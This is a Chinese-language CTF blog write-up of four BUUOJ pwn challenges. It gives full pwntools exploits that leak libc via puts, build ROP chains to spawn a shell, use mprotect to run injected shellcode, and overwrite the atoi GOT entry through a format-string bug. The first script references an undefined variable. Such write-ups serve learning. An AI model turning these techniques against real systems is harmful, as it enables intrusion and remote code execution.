BUUOJ_PWNWN_WP_1

字数统计: 2k字   |   阅读时长≈ 8分

现在开始争取每天都要做一道PWN题，并且难度要逐渐增大。做到每道题目都要弄懂原理，能够复现成功。争取每天都有一两道题能让自己学到新的知识，并且写下WP。

题目来源，现在主要是 BUUOJ 上的题目，以后再逐渐转到比赛题目吧。

0x1 ciscn_2019_c_1

保护机制

只开启了 NX，所以较为简单。

题目分析

题目整体流程实现了一个 加密程序，可以对我们的输入进行加密。

加密逻辑如下：

image-20200729183550348

从上图中，可以看到函数结束时使用 puts() 函数直接将加密密文输出，那么也就是我们可以使用此 函数将我们需要的信息泄露出来。

此外，可以看到一个很明显的栈溢出漏洞:

1
gets(s)

读取用户输入时，用了 gets 函数，能够触发栈溢出漏洞，这里就是本题的 唯一漏洞点。

然后对我们的输入会进行一个加密，加密算法伪代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
while(1)
{
	v0 = x; //x一开始为0
	if (v0 >= strlen(s))
		break;
	if(s[x] <= 96 || s[x] > 122)
	{
		if(s[x] <= 64 || s[x] > 90)
		{
			if(s[x] > 47 && s[x] <= 57) //数字加密
				s[x] ^= 0xF;
		}
		else	//大写字母加密
		{
			s[x] ^= 0xE;
		}
	}
	else	//小写字母加密
	{
		s[x] ^= 0xD;
	}
	++x;
}

利用分析

泄露地址

因为这道题存在一个 puts(s) 可以将我们的输入加密后直接输出，所以我们可以先利用这个函数将我们需要的地址给泄露出来。

程序 GOT 表如下：

image-20200729184837646

此处，我们选择 puts() 函数 got 表地址泄露。

布置ROP

因为存在一个 栈溢出漏洞，并且系统并没有开启保护，

所以我们可以直接覆盖 函数 ret 地址，实现ROP攻击。此处我们使用 one_gadget 直接来布置 getshell 链。

one_gadget 链如下:

image-20200729185129260

解密函数

看到这道题有一个加密算法，首先就会想到要去写一个解码算法。

但是，后面才反应过来这个 加密函数 中 记录输入 长度 的 x 是一个全局变量，且当执行完一次加密算法后，并没有使他归为0。

也就是我们可以第一次加密时 输入一个较长的明文，那么再后面我们输入 明文较短时，就可以绕过这个while 加密算法了。

那么，我们后面需要输入多大的 payload 呢？答案当然是 需要能够覆盖 到返回地址 且后面需要的ROP链的 长度，也就是 0x78。

所以 我们第一次就需要输入 0x60 的长度，且保证覆盖返回地址后，能够再次正常执行加密函数，则第一次payload为：

1
payload = 'a' * 0x58 + p64(encrypt_addr) +’a'*0x18

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

#p = process('./ciscn_2019_c_1')
p = remote('node3.buuoj.cn',29147)

elf = ELF('./ciscn_2019_c_1')
#libc = ELF('./libc.so.6')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400c83
encrypt_addr = 0x4009A0
main_addr = 0x400B28

def decode():
    pass

p.recvuntil('Input your choice!\n')
p.sendline('1')
p.recvuntil('Input your Plaintext to be encrypted\n')
payload = 'a'*0x58 + p64(main_addr) + 'a' * 0x18
p.sendline(payload)

#gdb.attach(p, 'b 0x400AD6')
p.recvuntil('Input your choice!\n')
p.sendline('1')
p.recvuntil('Input your Plaintext to be encrypted\n')
payload = 'a' * 0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
puts_addr = u64(p.recvuntil('\n', drop=True).ljust(8,'\x00'))
log.success('puts_leak_addr => {}'.format(hex(puts_addr)))

#libc_base = puts_addr - libc.symbols['puts']
#system_addr = libc_base + libc.symbols['system']
#binsh_addr = libc_base + next(libc.search('/bin/sh'))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))

gadget_addr = libc_base + one_gadgets
p.recvuntil('Input your choice!\n')
p.sendline('1')
p.recvuntil('Input your Plaintext to be encrypted\n')
payload = 'a'*0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)

p.interactive()

0x2 babyrop

保护机制

image-20200730230906405

只开启了 NX，说明只需要使用 ROP绕过就行。

程序分析

程序总体流程，是先创建了一个随机数。然后再将随机数与我们的输入进行比较，来判断是否可以进入最后的输入函数。

比较函数如下：

image-20200730231004197

从代码中，可以明显看到一个 read() 溢出。通过该溢出，我们可以修改最终的 返回值 v5。

同时，由于 read() 函数并不会对 ‘\x00’ 截断，而 strncmp() 会使用 ‘\x00’ 截断。所以我们可以绕过 strncmp() 函数。

最后进入 输入函数：

image-20200730231245148

利用分析

本题的利用步骤为：

1
2
3
4
1. 使用 '\x00'绕过 strncmp() 函数；
2. 泄露 got 表地址；
3. 重新开始函数；
4. ROP链去 getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level = 'debug'
#p = process('./pwn')
p = remote('node3.buuoj.cn',25959)
elf = ELF('pwn')
libc = ELF('./libc-2.23.so')

main_addr = 0x8048825
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

payload =  '\x00' + '\xff'*7
p.sendline(payload)
#gdb.attach(p, 'b 0x80487d0')

payload = 'a' *0xeb + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.recvuntil('Correct\n')
p.sendline(payload)
puts_addr = u32(p.recv(4))
log.success('puts_got: {}'.format(hex(puts_addr)))

system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
binsh_addr = puts_addr - (libc.symbols['puts'] - next(libc.search('/bin/sh')))
log.success('system_got: {}'.format(hex(system_addr)))
log.success('binsh_got: {}'.format(hex(binsh_addr)))

payload = '\x00' + '\xff'*7
p.sendline(payload)
p.recvuntil('Correct\n')
payload = 'a' * 0xeb + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
p.sendline(payload)

p.interactive()

0x3 get_started_3dsctf_2016

这道题，看着十分简单。本地也很快得到了flag 。但是当远程连接时，总是会显示链接超时。

第一个脚本就很简单的思路，修改EIP到漏洞函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#context.log_level = 'debug'
#p = process("./get_started_3dsctf_2016")
#gdb.attach(p, 'b *0x80489a0')
p = remote('node3.buuoj.cn',25939)
sh_addr = 0x80489a0
a = 0x308cd64f
b = 0x195719d1

#p.recvuntil('Qual a palavrinha magica?')
payload = 'a'*0x38 + p32(sh_addr)+'b'*0x4 + p32(a) + p32(b)
p.sendline(payload)
p.recv()
p.interactive()

然后远程，就实践了一个平常不太会用到的技巧，就是修改一个可读可写内存保护属性为可读可写可执行，然后往该内存中部署我们的shellcode，然后跳转去执行该shellcode。这个方法需要一定的限制，首先你能部署一段较长的ROP链，使得你能够完成修改 内存保护属性，还要能写入shellcode，最后要跳到shellcode处执行。其次，你需要能够准确找到 mprotect 和 read 等函数地址。

但是该方法，在现有Windows10上 漏洞攻击我也见过，说明是比较通用的方法。

重点记录一下 mprotect函数及参数

1
2
3
4
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = 'debug'

#p = process("./get_started_3dsctf_2016")
p = remote('node3.buuoj.cn',25939)
elf = ELF("./get_started_3dsctf_2016")

mprotect = 0x806ec80
vaddr = 0x80ea000
vlen = 0x1000
prot = 7

read_addr = 0x806e140
#pop3_ret = 0x804951d
pop3_ret = 0x080509a5 
retaddr = 0x80ea000

payload = 'a'*0x38 + p32(mprotect) + p32(pop3_ret) + p32(vaddr) + p32(vlen) +p32(prot)
payload += p32(read_addr) + p32(pop3_ret) + p32(0) +p32(vaddr) + p32(0x100) + p32(vaddr)

p.sendline(payload)

payload = asm(shellcraft.sh(), arch='i386', os='linux')
p.sendline(payload)

p.interactive()

0x4 第五空间决赛pwn5

这道题典型的 格式化字符串漏洞，通过这道题主要是 复习一下使用格式化字符串任意读、改写操作。还有就是读取内存时，%p \ %s 和 %x 之间的区别。

%x 和 %s 是读取栈上的数据， %s 是读取栈上该数据指向的另一个数据。这里是需要自己输入一个栈上的地址，然后需要使用 %s 来读取该地址指向的数据。

这道题，解题思路利用第一个格式化字符串漏洞读取 内存的随机数，满足第一个条件即可。唯一需要注意的是 atoi() 函数是将 字符串转化为 整数，所以我们需要将读取的随机数转化为字符串输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'

p = process('./pwn5')
p = remote('node3.buuoj.cn',29832)
#gdb.attach(p, 'b *0x80492ad')
addr = 0x804c044

p.recvuntil('your name:')
payload = p32(addr)+'%10$s'
p.sendline(payload)

p.recvuntil('Hello,')
#p.recv()[4:8]
value = u32(p.recv()[4:8])
print hex(value)
#p.recvuntil('passwd:')
interger = value
print interger
payload = str(interger) + '\x00'
p.sendline(payload)

p.interactive()

此外，练习一下 格式化字符串修改内存的做法吧：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'
p = process('./pwn5')
elf = ELF('./pwn5')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

p.recvuntil('your name:')
payload = fmtstr_payload(10, {atoi_got: system_plt})
p.sendline(payload)
p.recvuntil('passwd:')
p.sendline('/bin/sh\x00')

p.interactive()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing